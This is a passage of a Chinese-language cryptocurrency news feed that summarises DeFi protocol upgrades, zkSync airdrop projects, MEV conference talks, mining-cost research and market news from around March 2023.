矿池的挖矿奖励在 Camelot 上年利率为 500%。3）esACID 归属：$ACID 质押者正在接收 esACID 奖励。要启动 esACID 归属，用户必须先投入 200% 的 $ ACID ，然后 esACID 代币将在 30 天内线性归属 $ACID 。 内容来源 DeFi Made Here：预期 $ACID 的价格会归零，真的会吗？我预计，由于高排放和绑定，$ACID 价格会走低，但不会因为两个简单的原因而归零。当 $ACID 市值低于国库时，用户将简单地购买「折扣 ETH 风险敞口」（购买 $ACID 无非就是获得 ETH+ 收益率的敞口）并提高收益率（即使 100% 的供应是锁定的 $ACID 产量将高于 $ETH 产量）。【原文为英文】 内容来源  ( 2 min )
    北大学生区块链中心研报丨 Web3 任务凭证平台研究
    Chainfeeds 导读： 在 Web3 迈向主流应用的过程中，Web3 任务凭证平台起到了新用户入门教育，进阶用户链上探索，以及项目方营销获客等作用。北大区块链协会的研究员 Chuan Lin 撰写研报分析对比几个主流的 Web3 任务凭证平台，认为在 toB toC 两个模式中做好平衡，进一步提高防女巫能力，并为用户设计由浅入深的有趣任务，可能是这类平台未来发展方向。 文章来源： https://pkublockchain.substack.com/p/web3 文章作者： Chuan Lin 观点： Chuan Lin：这类平台可以根据业务模式，可以分为 to C 和 to B 两种偏向。经过研究，我们发现对于纯 to C 模式，因为 C 端用户基本不会付费，平台甚至还要花费成本为用户提供奖励，其商业模式较难跑通；而对于纯 to B 模式，虽然项目方有付费意愿，但因其设计的任务主要为项目方获客和美化运营数据服务，操作繁琐且门槛高，能完成任务的大多为专业空投猎人和工作室而不是真实用户。 内容来源 Chuan Lin：To C 模式：1）RabbitHole，提供了较为详细的 Web3 链上操作入门教育，适合小白用户使用。2）Hooked，其开发的 Wild Cash app 曾在 Google Play Store 知识问答类别登顶，排名超过 TikTok 和 WhatsApp。To B+To C 模式：1）Layer3，任务难度较低一些，对不想花费太多资金的 Web3 初学者比较友好。2）DeQuest，专攻 GameFi 领域任务凭证平台，使用了大量游戏化的机制。3）Phi，平台既提供了入门学习类任务，也有特定项目方营销类任务，且这种将链上交互凭证做成道具的形式可以帮助用户打造自己的链上身份。 内容来源 Chuan Lin：To B 模式：1）Galxe，提供的任务基本都是特定项目任务，多如牛毛且较为繁琐，不适合 Web3 入门教育，但适合空投猎人和进阶选手积累链上交互记录。2）Quest3 上提供的任务基本都是特定项目任务，用户通过关注项目方推特，转推，加入 Discord，注册项目账号等任务，任务多为项目方营销获客设计。3）Quest3 上提供的任务基本都是特定项目任务，用户通过关注项目方推特，转推，加入 Discord，注册项目账号，项目知识答题等任务。任务多为项目方营销获客设计。 内容来源 Chuan Lin：4）Guild.xyz 是 Discord 生态的一个项目，主要功能是链接用户的钱包地址与 Discord 账号，通过读取钱包的交互记录或引导完成推特关注、转推等任务，给用户的 Discord 账号分配不同服务里的 roles（身份组）。5）POAP，即出席证明协议，项目方和品牌方使用该协议向参与线上 AMA 或者线下 IRL 活动的用户发放一个 NFT 以证明用户出席活动，起到营销的作用。 内容来源  ( 7 min )
    【长推】Geabox V3 或将于第二季度上线，有何值得期待的亮点功能？
    Chainfeeds 导读： DeFi 可组合型杠杆协议 Gearbox Protocol 此前公开了 V3 版本升级细节，并称 V3 将重新定义杠杆和借贷。加密研究员阿尔法新酱 | 0xShinChan 就 Gearbox 协议近期表现及 V3 升级亮点展开了叙述。 文章来源： https://twitter.com/0xShinChannn/status/1639932006246281216 文章作者： 阿尔法新酱 | 0xShinChan 观点： 阿尔法新酱 | 0xShinChan：Gearbox Protocol 可以让用户在不同的协议，例如 Uniswap、Curve、Convex、Lido 等上进行杠杆。近期表现上，TVL 为 8600 万美元，完全摊薄估值为 1.5 亿美元，信用账户数量达 1300。此外，据 Token Terminal 报告，Gearbox Protocol 的年化收入增长了 260%，目前达到了 902000 美元。 内容来源 阿尔法新酱 | 0xShinChan：Gearbox V3 升级亮点：1）引入更多流动池选项：用户可以选择留在原有的「主流蓝筹借贷池」，或转到风险相对更高的「Alpha 借贷池」。随着新型借贷的推出，用户将可以成为贷款人，把年化收益提高至 10%；2） 减少借方和贷方的风险：每个列表当中的资产将设置额度门槛，以相应贷款池的基础资产计价。从该池借款的所有信贷账户在该资产上的敞口价值总和不能超过此限制； 内容来源 阿尔法新酱 | 0xShinChan：3）中心化交易所的功能体验：Gearbox 将在 V3 中推出不可变智能合约，实现多个中心化交易所的用户体验，并保持其无需信任、自我托管和可组合性等产品特特点，包括止损 / 获利订单、自动化策略和健康因素维护，从而为用户提供更安全、更高效的交易体验。此外，Gearbox 核心团队成员 Mugglesect 曾在推文表示 V3 合约目前正在审核当中，预计将在第二季度亮相。 内容来源  ( 2 min )
    DeFi 和 GameFi 中代币经济学的最新趋势
    Chainfeeds 导读： BNB Chain 研究员 HIRAYAMA SHO 基于过去的案例和现在主流的 DeFi 和 GameFi 模型，深入研究代币经济学的中期方向，认为 Web3 最好的经济模型还未找到，关键就是要理解 Web3 和传统游戏所认为的合理存在巨大差距。本文中文版由 Buidler DAO 编译。 文章来源： https://mp.weixin.qq.com/s/hvatcwE7sMNLZHaZlQrIUQ 文章作者： BNB Chain 观点： BNB Chain：现在和过去的模型：1）DeFi 和 GameFi 的双代币模型，其关键就是效用代币，例如 Maker、Terra，这两种机制都是将效用代币的价格不稳定性转移到备用代币的数量不稳定性。而 Axie 不同之处在于，它不通过售卖治理代币来稳定效用代币的价格，但是一旦超过了某个临界点，无法控制的恶性通胀就会出现并摧毁整个系统。主要 DeFi 产品的代币分配方式。大部分的通胀模型要么很简单，要么就是用了延迟通胀模型。 内容来源 BNB Chain：2）不可持续模型：根据手上现有的资金去调整之后的代币分配。这些不可持续的代币模型设计具有完全相反的价值生成循环，因为它需要从什么都没有创造出一些东西出来。3）NFT 经济学最新趋势：例如 Yuga，通过 NFT 销售来做特定的资金募集，依靠二级市场版税创造持续收入，围绕叙事展开社交媒体营销。不断增长的发行数量导致的价值稀释也通过对当前持有者的特惠待遇以及加密圈内外的市场营销被抵消了。 内容来源 BNB Chain：走向更好的代币经济学：1）特定应用链和 L2 势在必行 ，应用层必须建立一个不同于其他层的利润模型，重点在于独立运行且兼具 DeFi 功能的产品没有兼容性，或者不需要兼容性，将不可避免地迁移到它们自己开发的区块链或 L2 上。2）控制发行速度，代币的发行和分配必须根据游戏玩家的行为数据和满意度水平进行动态地和自发地调整。3）用户认知很重要，最重要的事情是提升用户体验。 内容来源  ( 33 min )
    【英文长推】TVL 达到 1.25 亿美元，一文解读 Radiant V2 版本新功能及其如何完善价值捕获机制
    Chainfeeds 导读： Radiant 凭借超过 1.25 亿美元的 TVL 巩固了自己作为 Arbitrum 上首选借贷平台的地位。加密研究员 DefiNapkin 撰推分析其 V1 版本存在的问题困境，介绍 V2 的新功能及其如何完善其价值捕获机制。 文章来源： https://twitter.com/definapkin/status/1639994394609856512 文章作者： DefiNapkin 观点： DefiNapkin：V1 版本存在的问题：不可持续的排放、提供链上流动性的低动力和激励唯利是图的资本。用户挖矿以获取高 APR，一旦 APR 下降就抛售。V2 功能改进：1）可持续的真实收益，$RDNT 现在只授予锁定 dLP 的用户，为了有资格获得增加的费用和 $RDNT 排放，用户必须锁定相对于其存款美元价值 5% 的 dLP，锁定期从 1-12 个月不等。该机制提供更可持续的真实收益，并增强 Radiant 的价值捕获机制以防止潜在的获利和倾销。【原文为英文】 内容来源 DefiNapkin：2）新的归属系统，用户可以在 90 天内获得其 100% $RDNT 收益，或提前退出，并根据已归属的期限支付 25% 至 90% 的线性罚款。3）代币经济学更新，V1 代币经济学的问题在于，借贷双方的排放量将在 2024 年 7 月的 24 个月后到期，V2 使用新的分配将排放延长至 5 年，将 Pool2 排放量重新分配给针对借贷双方的激励。【原文为英文】 内容来源 DefiNapkin：4）$RDNT 从 ERC-20 转移到 LayerZero 的 OFT-20 格式，支持跨链费用共享、在其他链上更快启动，以及桥接合约的原生所有权，而不是依赖第三方桥。结论：Radiant V2 的动态流动性和归属机制可持续地奖励协议增长的积极贡献者，并激励他们在更长的时间内保持承诺。其 V2 版本是 V1 的巨大改进。【原文为英文】 内容来源  ( 2 min )
    【英文长推】zkSync Era 主网上线，如何最大化 zkSync 空投资格？
    Chainfeeds 导读： zkSync Era 主网已公开发布并向所有人开放，这也意味着早期采用者将由机会获得空投资格。加密研究员 Emperor Osmo 列举了 8 个 zkSync 生态系统中能够通过互动获得空投资格的项目，包括项目简析及空投策略。 文章来源： https://twitter.com/Flowslikeosmo/status/1640005712477827073 文章作者： Emperor Osmo 观点： Emperor Osmo：1）ZigZag Exchange：ZK Rollup 去中心化订单簿式交易所，旨在为用户提供类似于中心化交易所的体验，目前已向超 10 万用户空投 ZZ 代币供应量的 34%；2）Orbiter Finance：去中心化跨 Rollup 桥，旨在无缝转移以太坊原生资产，于近期宣布整合 zkSync Era 主网；3）SyncSwap：由零知识技术驱动的 DEX，在利用了以太坊安全性的同时带来了易用性和低成本的 DeFi 体验，用户可以在 SyncSwap 上互换、赚取或提供流动性；【原文为英文】 内容来源 Emperor Osmo：4）Mintsquare：zkSync 生态第一个 NFT 市场，用户能够在无需支付高额费用的情况下铸造和交易 NFT 藏品；5）SpaceFi：跨链 Web3 平台，在提供 DEX 功能的同时还提供 NFT 交易及流动性挖矿；6）UniDex：zkSync 生态第一个永续 DEX，允许用户在加密资产、外汇、指数和 ETF 之间交易；7）Tevaera：正在 zkSync 上构建游戏生态系统，包括游戏、NFT、DEX；8）Mes Protocol：旨在通过构建一个统一的订单簿来实现可扩展性，通过从不同的 Rollup 中获取流动性为交易者提供最佳执行价格。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Placeholder 合伙人：我为什么坚定看好加密货币？
    Chainfeeds 导读： Placeholder VC 合伙人 Chris Burniske 撰文概述了自己对当前银行危机、监管、Balaji 赌注等大背景下关于加密货币的看法。Chris Burniske 表示将一如既往的支持加密货币，区块链是很重要的基础设施。 文章来源： https://twitter.com/cburniske/status/1640040127203364864 文章作者： Chris Burniske（Placeholder 合伙人） 观点： Chris Burniske（Placeholder 合伙人）：目前的银行危机对加密货币长期发展是有利的，短期内预计会有波动，但银行危机是由货币政策引起的，也将通过币政策解决。美联储和其他央行将会选择降息，正如市场预期的那样，将会使现有债券市场表现出现反弹。在我看来这场银行危机也由可能导致通货紧缩，而非恶性通货膨胀。【原文为英文】 内容来源 Chris Burniske（Placeholder 合伙人）：关于监管和立法，我认为加密货币开放和真实的数据系统将赢得胜利，这是必然的结果，以便我们在未来能够拥有一个坚实的数字底层。我一如既往的支持加密货币，区块链是很重要的基础设施，能够为某些社会问题提供解决方案，包括人工智能。【原文为英文】 内容来源  ( 2 min )
    【英文长推】MEVconomics 活动笔记：合并后 MEV 活动数据、以太坊协议前景、去中心化序列器和 PBS......
    Chainfeeds 导读： ETHGlobal 和 Flashbots 于上周五举办了 MEVconomics，邀请了很多加密领域优秀研究员和构建者共同探索 MEV 领域问题，包括 Jon Charbonneau、Vitalik Buterin、John Adler 等。加密研究员 Tarun's intern 对该活动的演讲内容进行了简要概述。 文章来源： https://twitter.com/TarunsIntern/status/1640068426881462272 文章作者： Tarun's intern 观点： Tarun's intern：1）加密基金 DBA 联创 Jon Charbonneau 关于「MEV 联盟状况」的演讲，包括 MEV 供应链的关键创新、相较于 PBS 将所有东西都载入至协议，外部承诺更具优势等内容；2）Flashbots 数据研究员 E.Hu 关于「合并后 MEV 活动数据」的演讲，大部分提议的区块都是在最后两秒内提交的，延迟战争被凸显；3）以太坊联合创始人 Vitalik Buterin 关于「协议经济学：以太坊协议的前景」，包括即将到来的变化等内容； 内容来源 Tarun's intern：4）Flashbots 战略负责人 Hasu 关于「去中心化序列器和 PBS」的演讲，包括如今 L2 存在的问题、如何解决跨域 MEV 等内容；5）davidecrapis.eth、barnabe.eth 及 Justin Ðrake 关于「ETH 经济学与 MEV 经济学的结合」围炉谈话，包括 MEV 流、有弹性的 MEV 系统、MEV 优先权及协议可信度等问题； 内容来源 Tarun's intern：6）Celestia 联合创始人 John Adler 关于「MEV 经济学」的演讲；7）EigenLayer 创始人 Sreeram Kannan 关于「MEV 及重质押」的演讲，包括使用重质押的用例及一些 MEV 生态系统中的潜在风险和解决措施；8）Jon Charbonneau 主持了 EigenLayer 创始人 Sreeram Kannan、Robot Ventures 的 Tarun Chitra 、Espresso Systems CEO Ben Fisch 及 Flashbots 战略负责人 Hasu 关于「流动性和重质押协议」的讨论，包括 Eigenvector 这样的自由市场是否会给验证者带来不劳而获的治理权利及共享排序器 Rollup 的价值等问题。 内容来源  ( 2 min )
    【英文长推】EigenLayer 创始人：解析「重质押」用例及 MEV 生态系统潜在风险
    Chainfeeds 导读： 本文是 EigenLayer 创始人 Sreeram Kannan 在 ETHGlobal 和 Flashbots 联合举办的 MEVconomics 活动上的演讲总结，主要包括使用重质押的用例及一些 MEV 生态系统中的潜在风险和解决措施。 文章来源： https://twitter.com/sreeramkannan/status/1639455207309340673 文章作者： Sreeram Kannan（Eigenlayer 创始人） 观点： Sreeram Kannan（Eigenlayer 创始人）：1）事件驱动激活：区块提议者选择并承诺触发任何交易以应对特定状态变化，例如用户抵押品比率低于阈值，可以要求重新填充抵押品；2）部分区块拍卖：区块提议这可以做出可信承诺出售部分区块空间，如果违反了承诺，则会被 Slash。这恢复了 MEV-Boost 架构中的提议者代理和审查阻力，同时也允许区块提议者内化最后一秒的 MEV。【原文为英文】 内容来源 Sreeram Kannan（Eigenlayer 创始人）：3）阈值加密：允许类似 Shutter Network 的解决方案帮助向以太坊 L1 提供信任，提议者可以承诺包括阈值加密的交易，如果不遵守承诺将被 Slash；4）Long-term 区块拍卖：适用于需要保证访问区块空间的 DApp，但这种设计具有复杂性，因为我们需要知道区块空间的买方是否及时交付了交易。【原文为英文】 内容来源 Sreeram Kannan（Eigenlayer 创始人）：如果我们将以上所有想法都结合至一个模块化 MEV 堆栈中，可以实现的通道包括：允许 DApp 通过预先预定 DEX 之间的套利内化 MEV、让统计学家参与区块构建、用户得到保护，不受三明治攻击影响。验证者可以表达审查阻力。而维持这个复杂 MEV 系统的方式是让提议者决定参与哪些通道，继而向中继器和构建者传达。【原文为英文】 内容来源  ( 2 min )
    【英文】Glassnode：比特币生产成本调查，以及挖矿市场周期性指标推导
    Chainfeeds 导读： 挖矿群体代表了比特币的生产方，该行业以电力、资本支出和运营支出（法定货币计价的成本）竞标比特币（比特币计价的收入）。Glassnode 撰文探讨矿工盈利能力与发行量之间的动态关系，并推导出几个描述挖矿市场周期性的指标，表明难度调整算法确实在算力供应和比特币需求之间寻求近乎完美的平衡。 文章来源： https://insights.glassnode.com/investigating-the-production-cost-of-bitcoin/ 文章作者： glassnode 观点： glassnode：1）算力生成：哈希率可以被视为采矿参与度和车队中运行的 ASIC 钻机的生成效率的综合表达，总哈希率反映了许多独特且地理位置分散的挖矿策略。在整个 2022-23 时代，算力增长一直徘徊在每年 30% 至 50% 左右。2）难度调整：难度重新定位算法在矿工的行为和新币的发行之间建立了动态关系，其中更高的协议难度意味着每单位 BTC 的生产成本增加。从长期来看，BTC 的生产成本不断接近普通矿工的盈亏平衡价格。【原文为英文】 内容来源 glassnode：3）生产成本建模：难度回归模型是一种估算单位 BTC 生产总维持成本的方法，可以利用这个难度回归模型的结果，并将这个价格乘以发行的 BTC 供应量，得到总生产成本的近似值。由此可以定义一个新的指标来描述采矿业的平均运营效率，方法是将产生的收入与估计的总生产成本进行比较。指标 > 100% 表示采矿业盈利，收入成本比通常在牛市高峰期附近观察到超过 350%；内容来源 glassnode：4）追踪挖矿周期动量：收入成本比与其年度移动平均值之间的比率，提供反映行业盈利能力周期性势头的指标。当矿工收入势头大于 0 时，表明采矿业的收入倍数相对于年平均水平有所提高当；小于 0 时，表明采矿业的收入倍数相对于年平均水平正在恶化。5）累计收入与所有时间成本：Thermocap 和交易费用可以被认为是矿工的已实现收入，而难度生产成本被认为是总的挖矿投入费用。47% 的交易日矿工收入超过每日生产成本，平均 53% 的交易日对矿工来说是无利可图的。【原文为英文】 内容来源  ( 6 min )
    【英文】Nansen 周报：ETH 持有者活动、对 Arbitrum 生态早期投资者活动的链上调查、$USDC 脱钩事件以及宏观见解
    Chainfeeds 导读： Nansen 官方整理其一周研究文章，涵盖 $ETH 散户和鲸鱼持有者的活动、对早期 $MAGIC 和 $GRAIL 参与者的调查，以及 $USDC 脱钩事件和宏观见解。 文章来源： https://www.nansen.ai/post/weekly-research-roundup 文章作者： Nansen 观点： Nansen：1）鲸鱼与散户：追踪整个市场的 ETH 持有情况‍，截至 3 月 20 日，持有少于 100 ETH 的地址，自 2022 年以来减少了 37.35%。然而，在价格上涨的同时，持有不到 1 个 ETH 的散户地址，在今年全年增加了 18.86%。2）大多数 「早期 MAGIC 矿工 」地址已经获利或将其资本转移到另一个钱包。留在同一个钱包中的平均净头寸规模为 20%。在这 200 个地址中，有 127 个仍然持有 MAGIC，总持仓量为 1800 万美元。【原文为英文】 内容来源 Nansen：3）62.7% 的早期 GRAIL 参与者已经退出了他们的 GRAIL 和 xGRAIL 头寸，其中一些人的投资回报率达到了 20 倍。这些地址共持有 650 万美元的 GRAIL，并对各种 Arbitrum 生态系统的代币有大量投资。4）美国联邦储备局正在使用新的工具来帮助银行获得短期流动性。中央银行现在不得不同时担心通货膨胀和快速加息的负面影响。5）USDC 脱钩：3 月 10 日至 15 日期间，超过 44 亿美元的 USDC 被赎回，Coinbase 用户是最大的赎回者。由于对其偿付能力的担心增加，USDC 跌至 0.88 美元的低点。【原文为英文】 内容来源  ( 4 min )
    官方解读 zkSync Era 叙事四大亮点：原生账户抽象、LLVM 编译器、数据压缩及超可扩展性
    Chainfeeds 导读： 上周五 zkSync 宣布主网 zkSync Era 将以无许可的方式全面开放，供所有人使用，这也标志着 zkSync Era 和以太坊达成了一个重要里程碑。本文由 zkSync 团队撰写，主要概述了 zkSync Era 独特架构的四大亮点。中文版本由 Odaily 编译发布。 文章来源： https://www.odaily.news/post/5186004 文章作者： zkSync∎ 观点： zkSync∎：1）原生账户抽象：zkSync Era 从创建开始就使用了本地账户抽象，与 EVM 兼容的其他 Zk-Roullup 不同，zkSync 账户抽象将每个账户变成一个具有自己逻辑的智能合约，这种无缝兼容性提升了加密货币的安全性和易用性；2）强大的 LLVM 编译器：zkSync Era 通过优化内部虚拟机以获得最高的 ZK 证明者性能，而不是 EVM 等效性。zkSync 为 EVM 语言（Solidity、Vyper、Yul）构建了一个基于 LLVM 的编译器； 内容来源 zkSync∎：3）数据压缩：zkSync Era 通过发布状态差异而不是交易输入解决数据可用性问题，该解决方案能为 Layer2 带来很多优势，包括数据压缩、更频繁的预言机更新、更低成本的隐私保护等；4）超可扩展性：zkSync Era 所有功能都将是最终实现超可扩展性的关键组成部分。 内容来源  ( 6 min )
    【英文】新项目前瞻 | Opclave： 如何将 Apple 设备转变为账户抽象支持的硬件钱包？
    Chainfeeds 导读： Opclave 是对 ERC-4337 兼容智能合约账户的 OP Stack 改进，使用与 Apple Enclave 抽象的签名，允许用户创建并使用 Apple Face-ID 与 Touch-ID 的非托管钱包，而无需助记词。本文主要对 Opclave 是什么及其是如何实现的进行了概述。 文章来源： https://ethglobal.com/showcase/opclave-opstack-impr-erc4337-and-apple-sign-94def 文章作者： Opclave 观点： Opclave：Apple Secure Enclave 是 Apple 芯片系统中实现的一个子系统，与主处理器隔离，为用户的重要数据创建了一个隔离的安全区域，它还有一个公钥加速器，能够让开发人员在 Secure Enclave 中构建非对称密码学操作。Secure Enclave 是一个很好的安全解决方案，可以实现钱包，并通过签名抽象出账户，且只能通过 Apple Face-ID 与 Touch-ID 来达成。【原文为英文】 内容来源 Opclave：但存在一个问题，Secure Enclave 只支持 secp256r1 曲线，而以太坊支持 secp256k1 曲线。所以需要定制解决方案以实现 Apple 签名到区块链。因此我们决定配置 Op Stack，为 secp256r1 实现一个预编译验证器。但仍存在很多问题导致用户体验不佳，因此 Opclave 实施了各种账户抽象功能，包括社交恢复、批量处理、支持 ERC20 代币支付、每日支出限额等。【原文为英文】 内容来源 Opclave：Opclave 产品有 4 个主要部分：1）智能合约：与 ERC-4337 账户抽象标准兼容，使用 Solidity 开发，受益于 Foundry 和 Ethers 工具；2）移动开发：包括两个主要部分，第一部分是用 Swift 语言编写的签名管理器，第二部分是用 React Native 框架编写的钱包界面；3）Rollup 式开发：Opclave 运行在我们自定义的 OP Stack Rollup 中；4）后台开发：实现了用 Typescript 编写的服务，bundler 和 paymaster 软件单独运行。【原文为英文】 内容来源  ( 31 min )
    银行业危机导致两周内超过 2860 亿美元流向货币市场基金
    银行业危机导致两周内超过 2860 亿美元流向货币市场基金 据 Cointelegraph 援引英国《金融时报》获得的新兴投资组合基金研究（EPFR）数据显示，银行业危机导致许多投资者在过去两周轮换其投资组合，3 月迄今已向美国货币市场基金注入超过 2860 亿美元资金，其中获得最多资金注入的货币市场基金是高盛、摩根大通和富达。英国《金融时报》称，高盛的货币基金已收到 520 亿美元资金，增长 13%，而摩根大通的资金流入近 460 亿美元，富达基金流入近 370 亿美元。是自 Covid-19 爆发以来，月流入量最大的一次。 内容来源  ( 54 min )
    基于 Cosmos 的 DeFi 协议 Quasar Finance 主网现已上线
    基于 Cosmos 的 DeFi 协议 Quasar Finance 主网现已上线 基于 Cosmos 的 DeFi 协议 Quasar Finance 主网现已上线，用户可访问跨链金库 OSMO PRO 与多个 Osmosis 流动性池，该金库将自动复合收益。Quasar 金库允许用户通过结合与自动化其他各种 Cosmos 协议产品来访问跨链间 DeFi，将按期推出 Osmosis。OSMO PRO 使用单边存款以进入三个不同的 Osmosis 池：OSMO-ATOM、OSMO-USDC、OSMO-stOSMO，用户只需存入 OSMO 而无需其他操作，金库将自动处理。OSMO PRO 金库初始存款总额上限为 50 万枚 OSMO，该上限将逐渐增加并最终取消，取决于治理情况。从金库产生的奖励来自四个不同的来源：流动性池通过交易费产生的收益、Osmosis 激励、外部激励、对金库早期采用者的 Quasar 激励。QSR 代币计划于 2023 年第二季度推出，用户此时无需持有任何 QSR 即可使用第一个 Interchain 保险库，在此之前 Quasar 上的 Gas 费以 OSMO 支付。 内容来源  ( 3 min )
    Base：生态系统基金将支持稳定币、链上声誉平台、链上限价定单簿交易所及更安全的 DeFi 四大方向
    Base：生态系统基金将支持稳定币、链上声誉平台、链上限价定单簿交易所及更安全的 DeFi 四大方向 Coinbase 以太坊 Layer2 网络 Base 宣布 Base 生态系统基金支持的四大方向：追踪通过膨胀率的稳定币（flatcoins）；链上声誉平台、链上限价定单簿（LOB）交易所及更安全的 DeFi，包括可以防止智能合约代码漏洞或协议逻辑错误的工具，以及最终的链上保险和保险协议，或任何其他在智能合约失败时可以为用户提供关键支持的产品。 此前消息，Coinbase 在推出以太坊 Layer2 网络 Base 测试网的同时成立了 Base 生态系统基金，以在种子前阶段对基于 Base 的公司和组织进行投资。 内容来源 观点： Base：我们对 flatcoins 很感兴趣，不限于正在探索自己的稳定币系统的团队，也包括专注于提高现有系统采用率方法的团队，例如 Reflexer/RAI、Spot/Ampleforth、Frax/FPIS、Olympus DAO 等。我们还希望可以看到深入思考声誉和信用在链上的原生方式的团队，及如何利用这些系统保护用户隐私和主权。此外，Base 的高吞吐量为设计新的现货交易、限价单、期权等机制提供了新机会。且构建者可以使用 OP Stack 这样的开源工具来构建 L3。【原文为英文】 内容来源  ( 9 min )
    知情人士：中国交通银行、中国银行、上海浦发银行香港分行或将向加密公司提供银行服务
    知情人士：中国交通银行、中国银行、上海浦发银行香港分行或将向加密公司提供银行服务 据彭博社援引知情人士称，中国交通银行、中国银行、上海浦发银行香港分行已经开始向当地加密货币公司提供银行服务，或已经对该领域进行调查、讨论内部信息。知情人士称，其中一家中国银行销售代表至少一次前往过一家加密货币公司的办公室，推销其服务。 内容来源  ( 2 min )
    Aave 社区关于在 ZkEVM 主网上部署 Aave V3 MVP 版本的 ARFC 提案开启投票
    Aave 社区关于在 ZkEVM 主网上部署 Aave V3 MVP 版本的 ARFC 提案开启投票 Aave 社区关于在 ZkEVM 主网上部署 Aave V3 MVP 版本的 ARFC 提案开启投票，该提案被视为「温度检查（ Temp check）」，允许开发和风险服务提供商对 zkEVM 网络进行更深入的分析。提案表示，zkEVM 为 EVM 等效，因此部署 Aave V3 需要的开发工作很少，但这种最低限度的 Aave V3 部署，应该限制资产入驻，并设置保守的风险参数，因此该提案只建议入驻三个抵押品（WETH、WMATIC 和 USDC）及一个可借资产（USDC）。该提案将于 3 月 29 日 18:00 结束投票。 内容来源 观点： Marc Zeller：ZkEVM 是由 Polygon 团队开发的 EVM 等效 zk-rollup L2，预计将于 3 月 27 日部署。Aave V3 已经在 ZkEVM 测试网上成功部署了约 6 个月（自 2022 年 10 月起）。【原文为英文】 内容来源

  • Open

    提供ARB流动性收益哪家强？Kyber、Traderjoe、Uniswap、Camelot LP收益率对比
    提供ARB流动性收益哪家强？Kyber、Traderjoe、Uniswap、Camelot LP收益率对比 – 深潮TechFlow 撰写：DeFi Made Here Read the full entry  ( 3 min )
    提供ARB流动性收益哪家强？Kyber、Traderjoe、Uniswap、Camelot LP收益率对比
    提供ARB流动性收益哪家强？Kyber、Traderjoe、Uniswap、Camelot LP收益率对比 – 深潮TechFlow 撰写：DeFi Made Here Read the full entry  ( 3 min )
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经 – 深潮TechFlow 撰写：Launchy Read the full entry  ( 5 min )
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经 – 深潮TechFlow 撰写：Launchy Read the full entry  ( 5 min )

  • Open

    Coinbase CEO：需要改善政策环境，但打造更好的产品仍为主要目标
    PANews 3月27日消息，Coinbase首席执行官Brian Armstrong推特发文称，“美国证券交易委员会（SEC）发出的韦尔斯通知极大地鼓舞了士气。尽管有共同的目标很好，但永远不要忘记我们的主要目标是为客户打造更好的产品。改善政策环境是必要的，但还不够”。  ( 4 min )
    A&T Capital：于隽正接受有关单位调查，公司内部已成立独立调查组
    PANews 3月27日消息，据官方消息，A&T Capital在推特发文称，于隽先生目前正面临一些个人问题，这些问题正在接受调查。对于任何不道德或违法的行为，A&T Capital坚决采取零容忍态度。虽然于隽已不在A&T任职，A&T Capital将全力配合有关单位调查，密切关注调查进展和结果，等待司法程序公正的判决。 同时，A&T内部由创始合伙人Jasmine牵头成立独立调查组，对此事全过程进行全面调查，会向全体员工公布调查结果。如果有违反职场道德行为的情况，严肃处理。于隽先生曾代表我们的一位出资人，任职于A&T Capital。他已经从投资者的公司辞去了职务。因此，于先生将不再参与A&T Capital的任何事务，也不再代表本基金。这一变动将不会影响本基金的运营。  ( 4 min )
    一周预告 | Polygon zkEVM主网Beta版将上线；PANews PARTY AWARD 2023公布评选结果
    要闻预告： 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 政策监管： 央行将于3月27日下调金融机构存款准备金率0.25个百分点 中国人民银行决定于2023年3月27日降低金融机构存款准备金率0.25个百分点（不含已执行5%存款准备金率的金融机构）。本次下调后，金融机构加权平均存款准备金率约为7.6%。 项目动态： Helium将于3月27日开始迁移至Solana Helium基金会发文称，Helium Network将从3月27日开始迁移至Solana区块链。为了确保平稳过渡，Helium基金会正在组建由社区志愿者组成的升级准备工作小组来监督迁移过程。此次升级将包括所有钱包、热点设备（Hotspots）和Helium网络状态，并将在24小时的过渡期内进行，大约从北京时间3月27日23:00开始。现有的Helium区块链将在3月27日的24小时过渡期内停止运行。数据传输和Proof-of-Coverage活动将不受影响。 EOS EVM最终测试网将于3月27日上线 EOS网络基金会创始人和首席执行官Yves La Rose发推称，EOS EVM最终测试网发布时间为3月27日，主网Beta发布时间为4月14日。 Polygon zkEVM主网Beta版定于3月27日上线 以太坊扩展项目 Polygon 选择 3 月 27 日作为其零知识以太坊虚拟机 (zkEVM) 测试版主网络上线的日期。Polygon 没有具体说明测试版网络将包含哪些内容，但表示该团队将在未来几周内发布更多细节。根据博客文章，自测试网上线以来，已经生成了超过 75,000 个 ZK 证明，并部署了 5,000 个智能合约。 百度文心一言云服务将于3月27日上线 百度宣布，文心一言云服务将于3月27日14:00上线。据悉，目前已经有包括互联网、媒体、金融、保险、汽车、企业软件等行业的400多家头部企业宣布加入百度“文心一言”生态。 Metamask将于3月27日上线其质押市场 Web3 钱包 Metamask 的机构版本今天公布了其与 Kiln、Blockdaemon 和 Allnodes 合作的质押市场。该平台将于 3 月 27 日上线，使希望深入研究质押的公司能够访问具有针对四个不同质押提供商的标准化条款和条件的产品。这些产品包括 Kiln、Blockdaemon、Allnodes 和 ConsenSys Staking。 NFT项目y00ts将从3月27日开始迁移至Polygon，24小时内迁移将获奖励 NFT项目y00ts表示将于3月27日起迁移至Polygon，用户可直接从官方网站迁移。为鼓励用户尽快迁移，在24小时内完成迁移将获得奖励。Gas费由Magic Eden提供，质押也将免费。 此外团队表示，为专注于EVM，y00ts团队将不再在Solana上进一步开发y00ts/DeGods。DeGods将于3月31日迁移至以太坊，详细信息将在之后公布。 交易所： Kraken：将从3月27日起暂停ACH存取款功能 加密交易所Kraken将从3月27日起暂停自动清算中心(ACH)的存取款功能。在Silvergate Bank倒闭后，该公司正在寻找新的银行合作伙伴。Kraken表示，其他服务不会受到这一变化的影响。一旦找到替代银行，该交易所将恢复ACH存取款服务。 项目动态： 美国法院已将Binance.US收购Voyager交易的行政执行延至3月28日 Voyager无担保债权人委员会（Voyager UCC）在推特上透露，美国政府此前已提出动议，寻求永久“中止”Voyager的第11章计划生效，而且表示无论Voyager是否推进Binance.US的收购交易都将继续上诉并寻求“中止”该交易。 ConsenSys的zkEVM测试网将于3月28日上线 以太坊基础设施开发公司 ConsenSys 将于 3 月 28 日推出零知识以太坊虚拟机 (zkEVM) 